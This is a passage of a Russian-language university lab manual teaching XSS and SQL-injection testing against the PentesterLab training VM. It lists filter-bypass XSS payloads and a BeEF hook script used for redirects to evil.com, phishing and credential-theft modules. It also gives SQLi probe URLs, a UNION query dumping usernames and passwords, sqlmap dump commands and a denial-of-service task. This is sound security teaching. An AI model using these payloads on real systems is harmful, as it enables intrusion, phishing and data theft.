- У01.2 анализировать задачу и/или проблему и выделять её составные части;
- У02.4 структурировать получаемую информацию;
- У03.2 применять современную научную профессиональную терминологию;
- У09.1 применять средства информационных технологий для решения профессиональных задач;
- У09.2 использовать современное программное обеспечение;

Материальное обеспечение:

ПК, текстовый редактор Блокнот, браузер

Задание:

Выполнить идентификацию и эксплуатацию уязвимостей к атакам XSS

Краткие теоретические сведения

Атака Cross-SiteScripting (XSS) – это атака на веб-приложение, использующая недостатки неправильной обработки данных и позволяющая выполнить произвольный сценарий (JavaScript, VBScript) в контексте источника (origin) уязвимого веб- приложения.

Атаки XSS классифицируются по вектору и способу воздействия. По вектору воздействия атаки XSS бывают отраженными (reflected), устойчивыми (persistent) и основанными на объектной модели документа (DOM-based). По вектору атаки XSS делятся на активные и пассивные.

Устойчивая атака XSS – это XSS атака, в результате которой введенный злоумышленником код сохраняется на веб-сервере и возвращается пользователю в запросе не содержащем вектор атаки.

Отраженная атака XSS – XSS атака, в результате которой код, введенный злоумышленником, передается пользователю в ответе на тот же запрос, в котором передан вектор атаки.

Атака XSS, называется DOM-based, если код злоумышленника может быть выполнен в браузере пользователя без отправки запроса на сервер веб-приложения.

В результате успешной реализации атаки XSS злоумышленник может выполнить, например, следующие действия:

- перенаправить пользователя на любой веб-сайт;
- получить аутентификационные данные пользователя, передающиеся в Cookie;
- получить любые данные, к которым имеет доступ клиентская часть веб-приложения;
- получить доступ к внутренней сети пользователя;
- выполнить Deface веб-сайта и т.д.

В общемировой практике тестирования защищенности веб-приложений в качестве доказательства уязвимости приложения к атаке XSS принято демонстрировать возможность выполнения JavaScript-кода вида `alert(1)`, `prompt(/XSS/)`, `confirm(0)` и т.п.

При тестировании наличия уязвимости к атакам XSS важно определять контекст, в который выводятся данные. Существуют следующие виды контекстов: HTML, SCRIPT, STYLE, URL и атрибутный [16]. Ниже приведены примеры XSS-векторов для каждого из контекстов:

```
<h1>Hello,<img/src=1 onerror=prompt(0)></h1>  
<script>var name=":alert(1);";</script>  
<ahref="javascript:alert&lpar;1rpar;">ClickMe</a>  
<div class=""onmouseover="alert(1);">...</div>  
<div style="width:expression(alert(1))">...</div>
```

Последовательность действий

Шаг 1. Скачать образ «WebForPentesters» с веб-сайта www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «XSS → Example 1». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной подвести вектор

```
<script>alert(1)</script>
```

Шаг 3. Перейти по ссылке «XSS → Example 2». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной подвести вектор

```
<script>alert(1)</script>
```

Убедиться, что слово `script` фильтруется. Ввести вектор

```
<ScRipT>alert(1)</sCrIpT>
```

Шаг 4. Перейти по ссылке «XSS → Example 3». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной подвести вектор

```
<script>alert(1)</script>
```

Убедиться, что слово `<script>` вырезается. Ввести вектор

```
<scr<script>ipt>alert(1)</s</script>cript>
```

Шаг 5. Перейти по ссылке «XSS → Example 4». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной подвести вектор

```
<script>alert(1)</script>
```

Убедиться, что слово `<script>` вырезается корректно. Ввести вектор

```
<img/src=1 onerror=alert(1)>
```

Шаг 6. Перейти по ссылке «XSS → Example 5». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной подвести вектор

```
<script>alert(1)</script>
```

```
<img/src=1 onerror=alert(1)>
```

Убедиться, что слово `alert` вырезается корректно. Ввести вектор

```
<img/src=1 onerror=\u0061alert(1)>
```

```
<img/src=1 onerror=prompt(1)>
```

```
<imgsrc=1 onerror="t=/aler/.source%2b/t(1)/.source; eval(t)">
```

Шаг 7. Перейти по ссылке «XSS → Example 6». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

```
";alert(1);"  
</script><script>alert(1);//
```

Шаг 8. Перейти по ссылке «XSS → Example 7». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

```
";alert(1);"  
Убедиться, что символ " кодируется в HTML-сущность &quot;. В качестве переменной name ввести вектор
```

```
';alert(1);'
```

Шаг 9. Перейти по ссылке «XSS → Example 8». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. Вводимые данные кодируются корректно. Изменить URL на следующий:

```
xss/example8.php/"onsubmit="alert(1)
```

Шаг 10. Перейти по ссылке «XSS → Example 9». Проанализировать логику функционирования веб-приложения. Определить контекст и тип возможной атаки XSS. В браузере перейти по ссылке

```
xss/example9.php#<script>alert(1)</script>.
```

Убедиться, что никакого HTTP-запроса не отправляется.

Шаг 11. Запустить среду эксплуатации уязвимостей BeEF. Перейти по ссылке «XSS → Example 1». В качестве значения параметра name ввести вектор

```
<scriptsrc="http://1.1.1.1:3000/hook.js"></script>
```

Перейти в консоль BeEF, ввести стандартные логин и пароль (beef:beef). В разделе «OnlineBrowser» должен отображаться ваш браузер. Во вкладке «Details» просмотреть информацию о браузере и компьютере. Перейти во вкладку «Commands». Выполнить следующие команды и проанализировать полученные результаты:

- «CreateAlertDialog»;
- «Redirect Browser», перенаправив пользователя на сайт <http://evil.com>;
- «Clickjacking»;
- «Clippy»;
- «FakeNotificationBar»;
- «GooglePhishing»;
- «PrettyTheft»

Вопросы и задания

1. Выполнить все задания по поиску уязвимостей к атакам XSS на сайте xss-game.appspot.com.
2. Выполнить несколько заданий по поиску уязвимостей к атакам XSS на сайте teescape.alf.nu.
3. Выполнить несколько заданий по поиску уязвимостей к атакам XSS на сайте prompt.ml.

Форма представления результата:

Предоставить скрипт заданий

Критерии оценки:

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.

Лабораторное занятие № 4
«Поиск уязвимостей к атакам SQL-injection»

Цель работы

Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей в веб- приложениях к атакам SQL-injection.

Выполнив работу, Вы будете:

уметь:

- У35. осуществлять аудит безопасности веб-приложений;
- У01.2 анализировать задачу и/или проблему и выделять её составные части;
- У02.4 структурировать получаемую информацию;
- У03.2 применять современную научную профессиональную терминологию;
- У09.1 применять средства информационных технологий для решения профессиональных задач;
- У09.2 использовать современное программное обеспечение;

Материальное обеспечение:

ПК, текстовый редактор Блокнот, браузер

Задание:

Выполнить идентификацию и эксплуатацию уязвимостей к атакам SQL-injection.

Краткие теоретические сведения

Атака внедрения операторов SQL (SQL-injection) – это внедрение во входные данные, обрабатываемые веб-приложением, операторов языка SQL.

Необходимым условием уязвимости к атаке SQL-injection является недостаточная обработка входных недоверенных данных при формировании веб-приложением SQL-запросов, зависящих от этих данных. Атака SQL-injection позволяет злоумышленнику получить непосредственный доступ к данным через механизмы СУБД в обход логики веб-приложения.

В зависимости от используемой веб-приложением СУБД и условий внедрения выделяют следующие разновидности атак SQL-injection [17]:

- классическая;
- «слепая» типаboolean-based;

- «слепая» тип `time-based`;
- `error-based`;
- вложенная;
- фрагментированная.

Рассмотрим примеры базовых тестов, обнаруживающих уязвимость параметра `id` к атаке `SQL-injection`:

- `http://www.test.app.com/index?id=1'`
- `http://www.test.app.com/index?id=1"`
- `http://www.test.app.com/index?id=1' order by 1000`
- `http://www.test.app.com/index?id=1"--`
- `http://www.test.app.com/index?id=1'/*`
- `http://www.test.app.com/index?id=1"#`
- `http://www.test.app.com/index?id=1 and 1=1--`
- `http://www.test.app.com/index?id=1 and 1=2—`
- `http://www.test.app.com/index?id=1' and '1'='1`
- `http://www.test.app.com/index?id=1' and '1'='2`

Постановка задачи

Последовательность действий

Шаг 1. Скачать образ «`WebForPentesters`» с веб-сайта `www.pentesterlab.com`. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «`SQLinjections` → `Example 1`». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого `SQL`-запроса:

- `sqli/example1.php?name=root'`
- `sqli/example1.php?name=root"`
- `sqli/example1.php?name=root'%201=1`
- `sqli/example1.php?name=root'%201=1#`
- `sqli/example1.php?name=root'%201=1%20—`
- `sqli/example1.php?name=root'%201=1%20/*`
- `sqli/example1.php?name=root'%20'1'='1`
- `sqli/example1.php?name=root'%20'1'='2`
- `sqli/example1.php?name=root'%23sqli`

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Выполнить следующую команду:

```
# pythonsqlmap.py -pname --dbs=mysql --dump  
-u http://IP_address/sqli/example1.php?name=root
```

Просмотреть результаты работы программы, посмотреть полученные данные из базы данных.

Шаг 2. Перейти по ссылке «SQL injections → Example 2». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example2.php?name=root%20and%201=1
- sqli/example2.php?name=root'%09and%09'1='1
- sqli/example2.php?name=root'%09and%09'1='2
- sqli/example2.php?name=root'%2b%2b'

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не смог идентифицировать уязвимый параметр.

Шаг 3. Перейти по ссылке «SQL injections → Example 3». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example3.php?name=root%20and%201=1
- sqli/example3.php?name=root'/**/and/**/'1='1
- sqli/example3.php?name=root'/**/and/**/'1='2
- sqli/example3.php?name=root'%2b%2b'

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не сможет идентифицировать уязвимый параметр.

Шаг 4. Перейти по ссылке «SQL injections → Example 4». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example4.php?id=2
- sqli/example4.php?id=2'
- sqli/example4.php?id=2"

- sqli/example4.php?id=1%2b1
- sqli/example4.php?id=0%2b2
- sqli/example4.php?id=3-1

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Выполнить следующую команду:

```
# python sqlmap.py -p id --dbs=mysql --dump
-u http://IP_address/sqli/example4.php?id=1
```

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

Шаг 5. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example5.php?id=2
- sqli/example5.php?id=2'
- sqli/example5.php?id=2"
- sqli/example5.php?id=1%2b1
- sqli/example5.php?id=0%2b2
- sqli/example5.php?id=3-1

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Выполнить следующую команду:

```
# python sqlmap.py -p id --dbs=mysql --dump
-u http://IP_address/sqli/example5.php?id=1
```

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

Шаг 6. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения.

Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example6.php?id=2
- sqli/example6.php?id=2'
- sqli/example6.php?id=2"
- sqli/example6.php?id=1%2b1
- sqli/example6.php?id=0%2b2

- `sqli/example6.php?id=3-1`
- `sqli/example6.php?id=5-3`

Последние три запроса позволяют сделать вывод об уязвимости параметра `id` к атаке SQL-injection. Запустить `sqlmap`, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Просмотреть исходный код PHP-сценария.

Шаг 7. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- `sqli/example7.php?id=2`
- `sqli/example7.php?id=2'`
- `sqli/example7.php?id=2"`
- `sqli/example7.php?id=1%2b1`
- `sqli/example7.php?id=3-1`
- `sqli/example7.php?id=2%0Aand%201=1`
- `sqli/example7.php?id=2%0Aand%201=2`
- `sqli/example7.php?id=2%0A%23sqli`

Последние три запроса позволяют сделать вывод об уязвимости параметра `id` к атаке SQL-injection. Запустить `sqlmap`, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Выполнить следующие запросы для извлечения данных из СУБД:

- `sqli/example7.php?id=2%0Aunion%20select%201`
- `sqli/example7.php?id=2%0Aunion%20select%201,2`
- `sqli/example7.php?id=2%0Aunion%20select%201,2,3`
- `sqli/example7.php?id=2%0Aunion%20select%201,2,3,4`
- `sqli/example7.php?id=2%0Aunion%20select%201,2,3,4, 5`
- `sqli/example7.php?id=2%0Aunion%20select%20name, passwd,1,1,1 from users`

Ручными методами получить данные из базы данных.

Просмотреть исходный код PHP-сценария.

Вопросы и задания

1. С помощью программы `sqlmap` идентифицировать уязвимый к атаке SQL-injection параметр и получить содержимое СУБД в случае, когда веб-приложение запрещает использование пробелов во входных данных.

2. Построить и выполнить SQL-запрос, приводящий к отказу в обслуживании веб-приложения, уязвимо к атаке SQL-injection.

3. Для веб-приложения, уязвимого к атаке SQL-injection и использующего для хранения данных СУБД MySQL, получить содержимое служебной базы данных INFORMATION_SCHEMA.

Форма представления результата:

Предоставить скрипт заданий

Критерии оценки:

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.